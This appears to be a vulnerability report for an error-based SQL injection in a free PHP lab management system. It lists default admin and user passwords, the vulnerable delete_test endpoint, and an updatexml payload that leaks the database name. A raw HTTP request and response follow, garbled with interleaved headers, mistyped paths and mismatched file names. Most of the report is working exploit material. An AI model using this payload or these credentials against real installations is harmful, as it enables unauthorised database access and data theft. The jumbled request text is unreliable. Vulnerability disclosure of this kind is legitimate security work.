

BUG_Author: Dig-Bick

Login account: admin/admin123 (Super Admin account)

Login account: cblake@sample.com/cblake123 (General account)

vendors: https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /odlms/classes/Users.php?f=delete_test

Vulnerability location: /odlms/classes/Users.php?f=delete_test,id

dbname=odlms_db,length=8

[+] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /odlms/classes/Users.php?f=delete test HTTP/1.1 Host: 192.168.1.88 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46. Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://192.168.1.88/odlms/admin/?page=appointments Content-Length: 66 Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2 Connection: close and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ POST /odlms/classes/Master.php?f=delete_test HTTP/1.1 HTTP/1 1 200 OK Host: 192.168.1.88 Date: Tue, 20 Sep 2022 09:35:30 GMT User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1I PHP/8.1.0 ry:46 (1) Gecko/20100101 Firefox/46 (1) X-Powered-By: PHP/8.1.0 Accept: application/json, text/javascript, */*; q=0.01 Expires: Thu, 19 Nov 1981 08:52:00 GMT Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Cache-Control: no-store, no-cache, must-revalidate Accept-Encoding: gzip, deflate Pragma: no-cache Access-Control-Allow-Origin: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Connection: close X-Requested-With: XMLHttpRequest Content-Type: text/html; charset=UTF-8 Referer: http://192.168.1.88/odlms/admin/?page=tests Content-Length: 65
Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2 $\verb|#O C:\xampp\htdocs\od| ms\classes\Master.php(109): mysqli-\> query(`UPDATE `test_li...') |$ id=1' and updatexml(1,concat(0x7e,(select #1 C:\xampp\htdocs\odims\classes\Master.php(422): Master->delete_test() database()),0x7e),0)--+ thrown in C:\xampp\htdocs\odlms\classes\Master.php on line 109
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